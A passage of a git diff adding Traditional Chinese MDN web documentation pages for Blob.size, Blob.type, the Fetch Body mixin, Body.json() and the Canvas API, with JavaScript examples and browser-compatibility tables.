+for (var i = 0; i &lt; files.length; i++) {
+  console.log(files[i].name + " has a size of " + files[i].size + " Bytes");
+}</pre>
+
+<h2 id="規格">規格</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規格</th>
+   <th scope="col">狀態</th>
+   <th scope="col">附註</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('File API', '#dfn-size', 'size')}}</td>
+   <td>{{Spec2('File API')}}</td>
+   <td>初定義</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>功能</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>File.size</td>
+   <td>5</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("2")}}</td>
+   <td>10.0</td>
+   <td>11.10</td>
+   <td>5.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>功能</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>File.size</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{domxref("Blob")}}</li>
+</ul>
diff --git a/files/zh-tw/web/api/blob/type/index.html b/files/zh-tw/web/api/blob/type/index.html
new file mode 100644
index 0000000000..ee2a231724
--- /dev/null
+++ b/files/zh-tw/web/api/blob/type/index.html
@@ -0,0 +1,114 @@
+---
+title: Blob.type
+slug: Web/API/Blob/type
+translation_of: Web/API/Blob/type
+---
+<div>{{APIRef("File API")}}</div>
+
+<p><a href="/en-US/docs/Web/API/Blob"><code>Blob</code></a> 物件的 <strong><code>type</code></strong> 屬性提供檔案的 <a href="https://developer.mozilla.org/zh-TW/docs/Web/HTTP/Basics_of_HTTP/MIME_types/Complete_list_of_MIME_types">MIME 類別</a>。若無法辨明型別則回傳空字串。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox">var mimetype = <var>instanceOfFile</var>.type</pre>
+
+<h2 id="值">值</h2>
+
+<p>一個字串。</p>
+
+<h2 id="範例">範例</h2>
+
+<pre class="brush:js">var i, fileInput, files, allowedFileTypes;
+
+// fileInput 是個 HTMLInputElement: &lt;input type="file" multiple id="myfileinput"&gt;
+fileInput = document.getElementById("myfileinput");
+
+// files 是個 FileList 物件 （類似 NodeList）
+files = fileInput.files;
+
+// 這範例接受 *.png, *.jpeg 和 *.gif 圖片。
+allowedFileTypes = ["image/png", "image/jpeg", "image/gif"];
+
+for (i = 0; i &lt; files.length; i++) {
+  // 測試 file.type 是否是允許的類別。
+  if (allowedFileTypes.indexOf(<strong>files[i].type</strong>) &gt; -1) {
+    // 若符合則執行這裡的程式碼。
+  }
+});
+</pre>
+
+<h2 id="規格">規格</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規格</th>
+   <th scope="col">狀態</th>
+   <th scope="col">備註</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('File API', '#dfn-type', 'type')}}</td>
+   <td>{{Spec2('File API')}}</td>
+   <td>初定義</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>功能</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>File.type</td>
+   <td>5</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("2")}}</td>
+   <td>10.0</td>
+   <td>11.10</td>
+   <td>5.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>功能</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>File.type</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{domxref("Blob")}}</li>
+</ul>
diff --git a/files/zh-tw/web/api/body/index.html b/files/zh-tw/web/api/body/index.html
new file mode 100644
index 0000000000..82ba54e53d
--- /dev/null
+++ b/files/zh-tw/web/api/body/index.html
@@ -0,0 +1,99 @@
+---
+title: Body
+slug: Web/API/Body
+tags:
+  - API
+  - BODY
+  - Experimental
+  - Fetch
+  - Fetch API
+  - Interface
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+  - request
+translation_of: Web/API/Body
+---
+<div>{{ APIRef("Fetch") }}</div>
+
+<p><span class="seoSummary">The <strong><code>Body</code></strong> {{glossary("mixin")}} of the <a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a> represents the body of the response/request, allowing you to declare what its content type is and how it should be handled.</span></p>
+
+<p><code>Body</code> is implemented by both {{domxref("Request")}} and {{domxref("Response")}}. This provides these objects with an associated <dfn>body</dfn> (a <a href="/en-US/docs/Web/API/Streams_API">stream</a>), a <dfn>used flag</dfn> (initially unset), and a <dfn>MIME type</dfn> (initially the empty byte sequence).</p>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt>{{domxref("Body.body")}} {{readonlyInline}}</dt>
+ <dd>A simple getter used to expose a {{domxref("ReadableStream")}} of the body contents.</dd>
+ <dt>{{domxref("Body.bodyUsed")}} {{readonlyInline}}</dt>
+ <dd>A {{domxref("Boolean")}} that indicates whether the body has been read.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+ <dt>{{domxref("Body.arrayBuffer()")}}</dt>
+ <dd>Takes a {{domxref("Response")}} stream and reads it to completion. It returns a promise that resolves with an {{domxref("ArrayBuffer")}}.</dd>
+ <dt>{{domxref("Body.blob()")}}</dt>
+ <dd>Takes a {{domxref("Response")}} stream and reads it to completion. It returns a promise that resolves with a {{domxref("Blob")}}.</dd>
+ <dt>{{domxref("Body.formData()")}}</dt>
+ <dd>Takes a {{domxref("Response")}} stream and reads it to completion. It returns a promise that resolves with a {{domxref("FormData")}} object.</dd>
+ <dt>{{domxref("Body.json()")}}</dt>
+ <dd>Takes a {{domxref("Response")}} stream and reads it to completion. It returns a promise that resolves with the result of parsing the body text as {{jsxref("JSON")}}.</dd>
+ <dt>{{domxref("Body.text()")}}</dt>
+ <dd>Takes a {{domxref("Response")}} stream and reads it to completion. It returns a promise that resolves with a {{domxref("USVString")}} (text). The response is <em>always</em> decoded using UTF-8.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>The example below uses a simple fetch call to grab an image and display it in an {{htmlelement("img")}} tag. You'll notice that since we are requesting an image, we need to run {{domxref("Body.blob","Body.blob()")}} ({{domxref("Response")}} implements body) to give the response its correct MIME type.</p>
+
+<h3 id="HTML_Content">HTML Content</h3>
+
+<pre class="brush: html">&lt;img class="my-image" src="https://wikipedia.org/static/images/project-logos/frwiki-1.5x.png"&gt;
+</pre>
+
+<h3 id="JS_Content">JS Content</h3>
+
+<pre class="brush: js">var myImage = document.querySelector('.my-image');
+fetch('https://upload.wikimedia.org/wikipedia/commons/7/77/Delete_key1.jpg')
+	.then(res =&gt; res.blob())
+	.then(res =&gt; {
+		var objectURL = URL.createObjectURL(res);
+		myImage.src = objectURL;
+});</pre>
+
+<p>{{ EmbedLiveSample('Examples', '100%', '250px') }}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch','#body-mixin','Body')}}</td>
+   <td>{{Spec2('Fetch')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Body")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li>
+ <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li>
+</ul>
+
+<p> </p>
diff --git a/files/zh-tw/web/api/body/json/index.html b/files/zh-tw/web/api/body/json/index.html
new file mode 100644
index 0000000000..70085afff7
--- /dev/null
+++ b/files/zh-tw/web/api/body/json/index.html
@@ -0,0 +1,73 @@
+---
+title: Body.json()
+slug: Web/API/Body/json
+translation_of: Web/API/Body/json
+---
+<div>{{APIRef("Fetch")}}</div>
+
+<p>{{domxref("Body")}} mixin 的 <strong><code>json()</code></strong> 會拿 {{domxref("Response")}} stream 並完整地讀取他。它會回傳一個能夠實現 (resolve) 把回傳的結果的 body text 解析成 {{jsxref("JSON")}} 型別的 Promise。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="brush: js notranslate">response.json().then(function(data) {
+  // do something with your data
+});</pre>
+
+<h3 id="參數">參數</h3>
+
+<p>None.</p>
+
+<h3 id="回傳">回傳</h3>
+
+<p>一個能夠實現 (resolve) 把回傳的結果的 body text 解析成 JSON 型別的 Promise。這可以是任何能夠被 JSON 呈現的資料型別 — 物件 (object), 陣列 (array), 字串 (string), 數字 (number)...</p>
+
+<h2 id="範例">範例</h2>
+
+<p>在我們的範例 <a href="https://github.com/mdn/fetch-examples/tree/master/fetch-json">fetch json example</a> (run <a href="http://mdn.github.io/fetch-examples/fetch-json/">fetch json live</a>) 中，我們用 constructor {{domxref("Request.Request")}} 產生一個新的請求，並且用它去取回 <code>.json</code> 檔案。 當成功取回 (fetch) 時，我們使用 <code>json()</code> 去讀取跟解析資料，然後依照我們期待的把回傳的結果物件 (resulting objects) 裡讀取到的數值存入 list 中藉以顯示我們的產品資料。</p>
+
+<pre class="brush: js notranslate">var myList = document.querySelector('ul');
+
+var myRequest = new Request('products.json');
+
+fetch(myRequest)
+  .then(function(response) { return response.json(); })
+  .then(function(data) {
+    for (var i = 0; i &lt; data.products.length; i++) {
+      var listItem = document.createElement('li');
+      listItem.innerHTML = '&lt;strong&gt;' + data.products[i].Name + '&lt;/strong&gt; can be found in ' +
+                           data.products[i].Location +
+                           '. Cost: &lt;strong&gt;£' + data.products[i].Price + '&lt;/strong&gt;';
+      myList.appendChild(listItem);
+    }
+  });</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch','#dom-body-json','json()')}}</td>
+   <td>{{Spec2('Fetch')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+
+
+<p>{{Compat("api.Body.json")}}</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li>
+ <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li>
+</ul>
diff --git a/files/zh-tw/web/api/canvas_api/drawing_graphics_with_canvas/index.html b/files/zh-tw/web/api/canvas_api/drawing_graphics_with_canvas/index.html
new file mode 100644
index 0000000000..c93ad87e10
--- /dev/null
+++ b/files/zh-tw/web/api/canvas_api/drawing_graphics_with_canvas/index.html
@@ -0,0 +1,161 @@
+---
+title: Drawing graphics with canvas
+slug: Web/API/Canvas_API/Drawing_graphics_with_canvas
+translation_of: Web/API/Canvas_API/Tutorial
+---
+<div class="note">
+ <p>Most of this content (but not the documentation on drawWindow) has been rolled into the more expansive <a href="/en-US/docs/HTML/Canvas/Tutorial" title="HTML/Canvas/tutorial">Canvas tutorial</a>, this page should probably be redirected there as it's now redundant but some information may still be relevant.</p>
+</div>
+<h2 id="Introduction" name="Introduction">介紹</h2>
+<p>  在 <a href="/en-US/docs/Mozilla/Firefox/Releases/1.5" title="Firefox_1.5_for_developers">Firefox 1.5</a>, Firefox 引入了新的 HTML 元素 &lt;canvas&gt; 來繪製圖形。<code>&lt;canvas&gt;</code> 是基於 <a href="http://www.whatwg.org/specs/web-apps/current-work/#the-canvas">WHATWG canvas specification</a> 的技術 (其發軔於蘋果公司在 Safari 上的實做)。 我們可以用它來在使用者端進行圖形和 UI 元件的渲染。</p>
+<p><code>  &lt;canvas&gt;</code> 創建了一個具有一致多個 <em>rendering contexts 的</em>區域。在本文中，我們著重於 2D rendering context 的部份。對於 3D 圖形，您可以參考 <a href="/en-US/docs/WebGL" title="https://developer.mozilla.org/en/WebGL">WebGL rendering context</a>。</p>
+<h2 id="The_2D_Rendering_Context" name="The_2D_Rendering_Context">2D Rendering Context</h2>
+<h3 id="A_Simple_Example" name="A_Simple_Example">先來個簡單的範例</h3>
+<p>  以下的程式碼做了一個簡單的展示：繪製兩個部份交疊的矩形 (其中一個矩形有透明屬性) :</p>
+<pre class="brush: js">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  ctx.fillStyle = "rgb(200,0,0)";
+  ctx.fillRect (10, 10, 55, 50);
+
+  ctx.fillStyle = "rgba(0, 0, 200, 0.5)";
+  ctx.fillRect (30, 30, 55, 50);
+}
+</pre>
+<div class="hidden">
+ <pre class="brush: html">&lt;canvas id="canvas" width="120" height="120"&gt;&lt;/canvas&gt;</pre>
+ <pre class="brush: js">draw();</pre>
+</div>
+<p>{{EmbedLiveSample('A_Simple_Example','150','150','/@api/deki/files/602/=Canvas_ex1.png')}}</p>
+<p>  這個名為 <code>draw</code> 的函式從 <code>canvas</code> element 取得 <code>2d</code> context。物件 <code>ctx</code> 可以被用來在 canvas 上頭繪製圖形。從程式碼可以看出，我們簡單的藉由設定 fillStyle 繪製了兩個顏色不同的矩形，並透過 <code>fillRect 設定其位置。此外，第二個矩形透過</code> <code>rgba()</code> 配置了透明屬性。</p>
+<p>  關於更複雜的圖形繪製，我們可以使用 <code>fillRect</code>, <code>strokeRect 和</code> <code>clearRect，他們分別可以畫出填滿的矩形, 僅有外框的矩形以及矩形區域清除。</code></p>
+<h3 id="Using_Paths" name="Using_Paths">路徑的使用</h3>
+<p>  <code>beginPath</code> 函式用來初始一段路徑的繪製，並且可以透過 <code>moveTo</code>, <code>lineTo</code>, <code>arcTo</code>, <code>arc </code>以及相關的函式來描述路徑內容。要結束的時候呼叫 <code>closePath 即可。一旦路徑描述完畢，就可以透過</code> <code>fill</code> 或 <code>stroke</code> 來渲染該路徑在 canvas 上。</p>
+<pre class="brush: js">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  ctx.fillStyle = "red";
+
+  ctx.beginPath();
+  ctx.moveTo(30, 30);
+  ctx.lineTo(150, 150);
+  // was: ctx.quadraticCurveTo(60, 70, 70, 150); which is wrong.
+  ctx.bezierCurveTo(60, 70, 60, 70, 70, 150); // &lt;- this is right formula for the image on the right -&gt;
+  ctx.lineTo(30, 30);
+  ctx.fill();
+}
+</pre>
+<div class="hidden">
+ <pre class="brush: html">&lt;canvas id="canvas" width="160" height="160"&gt;&lt;/canvas&gt;</pre>
+ <pre class="brush: js">draw();</pre>
+</div>
+<p>{{EmbedLiveSample('Using_Paths','190','190','/@api/deki/files/603/=Canvas_ex2.png')}}</p>
+<p>  呼叫 <code>fill()</code> 或 <code>stroke()</code> 代表該路徑已經被使用。若要重新進行填滿等動作，則需要重頭創造一次路徑。</p>
+<h3 id="Graphics_State" name="Graphics_State">圖像狀態</h3>
+<p>  <code>fillStyle</code>, <code>strokeStyle</code>, <code>lineWidth 和</code> <code>lineJoin</code> 等屬性是 <em>graphics state 的一部分。關於這些屬性的修改，您可以透過</em> <code>save()</code> 及 <code>restore() 來進行操作。</code></p>
+<h3 id="A_More_Complicated_Example" name="A_More_Complicated_Example">一個更為複雜的範例</h3>
+<p>  接著我們來看一個稍微複雜一點的範例，它同時引入了路徑, 狀態的修改以及變換矩陣。</p>
+<pre class="brush: js">function drawBowtie(ctx, fillStyle) {
+
+  ctx.fillStyle = "rgba(200,200,200,0.3)";
+  ctx.fillRect(-30, -30, 60, 60);
+
+  ctx.fillStyle = fillStyle;
+  ctx.globalAlpha = 1.0;
+  ctx.beginPath();
+  ctx.moveTo(25, 25);
+  ctx.lineTo(-25, -25);
+  ctx.lineTo(25, -25);
+  ctx.lineTo(-25, 25);
+  ctx.closePath();
+  ctx.fill();
+}
+
+function dot(ctx) {
+  ctx.save();
+  ctx.fillStyle = "black";
+  ctx.fillRect(-2, -2, 4, 4);
+  ctx.restore();
+}
+
+function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  // note that all other translates are relative to this one
+  ctx.translate(45, 45);
+
+  ctx.save();
+  //ctx.translate(0, 0); // unnecessary
+  drawBowtie(ctx, "red");
+  dot(ctx);
+  ctx.restore();
+
+  ctx.save();
+  ctx.translate(85, 0);
+  ctx.rotate(45 * Math.PI / 180);
+  drawBowtie(ctx, "green");
+  dot(ctx);
+  ctx.restore();
+
+  ctx.save();
+  ctx.translate(0, 85);
+  ctx.rotate(135 * Math.PI / 180);
+  drawBowtie(ctx, "blue");
+  dot(ctx);
+  ctx.restore();
+
+  ctx.save();
+  ctx.translate(85, 85);
+  ctx.rotate(90 * Math.PI / 180);
+  drawBowtie(ctx, "yellow");
+  dot(ctx);
+  ctx.restore();
+}
+</pre>
+<div class="hidden">
+ <pre class="brush: html">&lt;canvas id="canvas" width="185" height="185"&gt;&lt;/canvas&gt;</pre>
+ <pre class="brush: js">draw();</pre>
+</div>
+<p>{{EmbedLiveSample('A_More_Complicated_Example','215','215','/@api/deki/files/604/=Canvas_ex3.png')}}</p>
+<p>  我們自定義了兩個函式： <code>drawBowtie 以及</code> <code>dot，並且個別呼叫了四次。</code>在呼叫他們之前，我們使用了 <code>translate()</code> 和 <code>rotate()</code> 來設定接著要繪製圖形的 transformation matrix，這將改變最終 dot 和 bowtie 的位置。<code>dot</code> 繪製了一個以 <code>(0, 0) 為中心的小黑正方形，而</code> <code>drawBowtie</code> 產生了一個填滿的蝴蝶結樣貌的圖形。</p>
+<p>  <code>save()</code> 和 <code>restore()</code> 規範了一系列動作的初始和結尾。一個值得注意的地方是，旋轉的動作是基於該圖形當下所在的位置， 所以 <code>translate() -&gt; rotate() -&gt; translate() 的結果會和</code> <code>translate() -&gt; translate() -&gt; rotate()</code> 不同。</p>
+<h2 id="Compatibility_With_Apple_.3Ccanvas.3E" name="Compatibility_With_Apple_.3Ccanvas.3E">和 Apple &lt;canvas&gt; 的相容性</h2>
+<p>For the most part, <code>&lt;canvas&gt;</code> is compatible with Apple's and other implementations. There are, however, a few issues to be aware of, described here.</p>
+<h3 id="Required_.3C.2Fcanvas.3E_tag" name="Required_.3C.2Fcanvas.3E_tag"><code>&lt;/canvas&gt;</code> tag 是必要的</h3>
+<p>In the Apple Safari implementation, <code>&lt;canvas&gt;</code> is an element implemented in much the same way <code>&lt;img&gt;</code> is; it does not have an end tag. However, for <code>&lt;canvas&gt;</code> to have widespread use on the web, some facility for fallback content must be provided. Therefore, Mozilla's implementation has a <em>required</em> end tag.</p>
+<p>If fallback content is not needed, a simple <code>&lt;canvas id="foo" ...&gt;&lt;/canvas&gt;</code> will be fully compatible with both Safari and Mozilla -- Safari will simply ignore the end tag.</p>
+<p>If fallback content is desired, some CSS tricks must be employed to mask the fallback content from Safari (which should render just the canvas), and also to mask the CSS tricks themselves from IE (which should render the fallback content).</p>
+<pre>canvas {
+  font-size: 0.00001px !ie;
+}</pre>
+<h2 id="Additional_Features" name="Additional_Features">其他特性</h2>
+<h3 id="Rendering_Web_Content_Into_A_Canvas" name="Rendering_Web_Content_Into_A_Canvas">藉由 Canvas 渲染網頁內容</h3>
+<div class="note">
+ This feature is only available for code running with Chrome privileges. It is not allowed in normal HTML pages. <a href="http://mxr.mozilla.org/mozilla/source/content/canvas/src/nsCanvasRenderingContext2D.cpp#2352" title="http://mxr.mozilla.org/mozilla/source/content/canvas/src/nsCanvasRenderingContext2D.cpp#2352">Read why</a>.</div>
+<p>Mozilla's <code>canvas</code> is extended with the <a href="/en-US/docs/DOM/CanvasRenderingContext2D#drawWindow()" title="DOM/CanvasRenderingContext2D#drawWindow()"><code>drawWindow()</code></a> method. This method draws a snapshot of the contents of a DOM <code>window</code> into the canvas. For example,</p>
+<pre class="brush: js">ctx.drawWindow(window, 0, 0, 100, 200, "rgb(255,255,255)");
+</pre>
+<p>would draw the contents of the current window, in the rectangle (0,0,100,200) in pixels relative to the top-left of the viewport, on a white background, into the canvas. By specifying "rgba(255,255,255,0)" as the color, the contents would be drawn with a transparent background (which would be slower).</p>
+<p>It is usually a bad idea to use any background other than pure white "rgb(255,255,255)" or transparent, as this is what all browsers do, and many websites expect that transparent parts of their interface will be drawn on white background.</p>
+<p>With this method, it is possible to fill a hidden IFRAME with arbitrary content (e.g., CSS-styled HTML text, or SVG) and draw it into a canvas. It will be scaled, rotated and so on according to the current transformation.</p>
+<p>Ted Mielczarek's <a href="http://ted.mielczarek.org/code/mozilla/tabpreview/">tab preview</a> extension uses this technique in chrome to provide thumbnails of web pages, and the source is available for reference.</p>
+<div class="note">
+ <strong>Note:</strong> Using <code>canvas.drawWindow()</code> while handling a document's <code>onload</code> event doesn't work. In Firefox 3.5 or later, you can do this in a handler for the <a href="/en-US/docs/Gecko-Specific_DOM_Events#MozAfterPaint" title="Gecko-Specific DOM Events#MozAfterPaint"><code>MozAfterPaint</code></a> event to successfully draw HTML content into a canvas on page load.</div>
+<h2 id="See_also" name="See_also">更多資訊</h2>
+<ul>
+ <li><a href="/en-US/docs/HTML/Canvas" title="HTML/Canvas">Canvas topic page</a></li>
+ <li><a href="/en-US/docs/Canvas_tutorial" title="Canvas_tutorial">Canvas tutorial</a></li>
+ <li><a href="http://www.whatwg.org/specs/web-apps/current-work/#the-canvas">WHATWG specification</a></li>
+ <li><a href="http://developer.apple.com/documentation/AppleApplications/Conceptual/SafariJSProgTopics/Tasks/Canvas.html" title="http://developer.apple.com/documentation/AppleApplications/Conceptual/SafariJSProgTopics/Tasks/Canvas.html">Apple Canvas Documentation</a></li>
+ <li><a href="http://weblogs.mozillazine.org/roc/archives/2005/05/rendering_web_p.html">Rendering Web Page Thumbnails</a></li>
+ <li>Some <a href="/en-US/docs/tag/canvas_examples">examples</a>:
+  <ul>
+   <li><a href="http://azarask.in/projects/algorithm-ink">Algorithm Ink</a></li>
+   <li><a href="http://www.tapper-ware.net/canvas3d/">OBJ format 3D Renderer</a></li>
+   <li><a href="/en-US/docs/A_Basic_RayCaster" title="A_Basic_RayCaster">A Basic RayCaster</a></li>
+   <li><a href="http://awordlike.textdriven.com/">The Lightweight Visual Thesaurus</a></li>
+   <li><a href="http://caimansys.com/painter/">Canvas Painter</a></li>
+  </ul>
+ </li>
+ <li><a href="/en-US/docs/tag/canvas">And more...</a></li>
+</ul>
diff --git a/files/zh-tw/web/api/canvas_api/index.html b/files/zh-tw/web/api/canvas_api/index.html
new file mode 100644
index 0000000000..c07ec36738
--- /dev/null
+++ b/files/zh-tw/web/api/canvas_api/index.html
@@ -0,0 +1,158 @@
+---
+title: Canvas API
+slug: Web/API/Canvas_API
+translation_of: Web/API/Canvas_API
+---
+<div>{{CanvasSidebar}}</div>
+
+<p class="summary"><strong>{{HTMLElement("canvas")}}</strong> 是 <a href="/zh-TW/docs/HTML" title="HTML">HTML5</a> 的新元素，可透過 Script（通常是 <a href="/zh-TW/docs/JavaScript" title="JavaScript">JavaScript</a>）繪製圖形。例如，可以用來繪圖、合成圖照片、建立動畫、甚至處理即時的影片播放。</p>
+
+<p>Mozilla 應用程式從 Gecko 1.8（也就是 <a href="/en/Firefox_1.5_for_developers" title="Firefox_1.5_for_developers">Firefox 1.5</a>）起開始支援 <code>&lt;canvas&gt;</code>。這個元素最初由蘋果 OS X <a class="external" href="http://www.apple.com/macosx/features/dashboard/">Dashboard</a> 和 Safari 引入。Internet Explorer 9 以上版本也有支援<code> &lt;canvas&gt;</code>，但較舊的 IE 版本則須嵌入 Google <a class="external" href="http://excanvas.sourceforge.net/">Explorer Canvas</a> 專案中的程式腳本，才能得到有效的支援。Opera 9 也支援 <code>&lt;canvas&gt;</code>。</p>
+
+<p><code>&lt;canvas&gt;</code> 元素通常也被 <a href="/zh-TW/docs/Web/WebGL">WebGL</a> 用來在網頁上顯示使用硬體加速繪製的 3D 圖形。</p>
+
+<h2 id="範例">範例</h2>
+
+<p>這則簡單的範例使用了{{domxref("CanvasRenderingContext2D.fillRect()")}}這個方法。</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+ctx.fillStyle = "green";
+ctx.fillRect(10, 10, 100, 100);
+</pre>
+
+<p>Edit the code below and see your changes update live in the canvas:</p>
+
+<div class="hidden">
+<h6 id="Playable_code">Playable code</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="400" height="200" class="playable-canvas"&gt;&lt;/canvas&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code"&gt;
+ctx.fillStyle = "green";
+ctx.fillRect(10, 10, 100, 100);&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 360) }}</p>
+
+<h2 id="參考">參考</h2>
+
+<div class="index">
+<ul>
+ <li>{{domxref("HTMLCanvasElement")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("CanvasGradient")}}</li>
+ <li>{{domxref("CanvasPattern")}}</li>
+ <li>{{domxref("ImageBitmap")}}</li>
+ <li>{{domxref("ImageData")}}</li>
+ <li>{{domxref("TextMetrics")}}</li>
+ <li>{{domxref("Path2D")}} {{experimental_inline}}</li>
+</ul>
+</div>
+
+<p>這些與<code>WebGLRenderingContext</code>有關的標識，皆引用在<a href="/zh-TW/docs/Web/WebGL" title="/zh-TW/docs/Web/WebGL">WebGL</a></p>
+
+<h2 id="教程指南">教程指南</h2>
+
+<dl>
+ <dt><a href="/zh-TW/docs/Web/API/Canvas_API/Tutorial">Canvas tutorial</a></dt>
+ <dd>這個全部的課程包含 <code>&lt;canvas&gt;</code> 基礎的使用和高階的應用。</dd>
+ <dt><a href="/zh-TW/Add-ons/Code_snippets/Canvas">Code snippets: Canvas</a></dt>
+ <dd>一些延伸的開發功能，包含<code>&lt;canvas&gt;</code>。</dd>
+ <dt><a href="/zh-TW/docs/Web/API/Canvas_API/A_basic_ray-caster">Demo: A basic ray-caster</a></dt>
+ <dd>使用<code>&lt;canvas&gt;</code>做的光線追蹤(ray-tracing )範例。</dd>
+ <dt><a href="/zh-TW/docs/Web/API/Canvas_API/Drawing_DOM_objects_into_a_canvas">Drawing DOM objects into a canvas</a></dt>
+ <dd>如何在 DOM<code>&lt;canvas&gt;</code>之中，畫個物件。例如 HTML的元素。</dd>
+ <dt><a href="/zh-TW/docs/Web/API/Canvas_API/Manipulating_video_using_canvas">Manipulating video using canvas</a></dt>
+ <dd>結合{{HTMLElement("video")}} 和 {{HTMLElement("canvas")}} 去控制影像資料的真實時間</dd>
+</dl>
+
+<h2 id="資源">資源</h2>
+
+<h3 id="Generic">Generic</h3>
+
+<ul>
+ <li><a href="http://joshondesign.com/p/books/canvasdeepdive/title.html">HTML5 Canvas Deep Dive</a></li>
+ <li><a href="http://bucephalus.org/text/CanvasHandbook/CanvasHandbook.html">Canvas Handbook</a></li>
+</ul>
+
+<h3 id="Libraries">Libraries</h3>
+
+<ul>
+ <li><a href="http://fabricjs.com">Fabric.js</a> is an open-source canvas library with SVG parsing capabilities.</li>
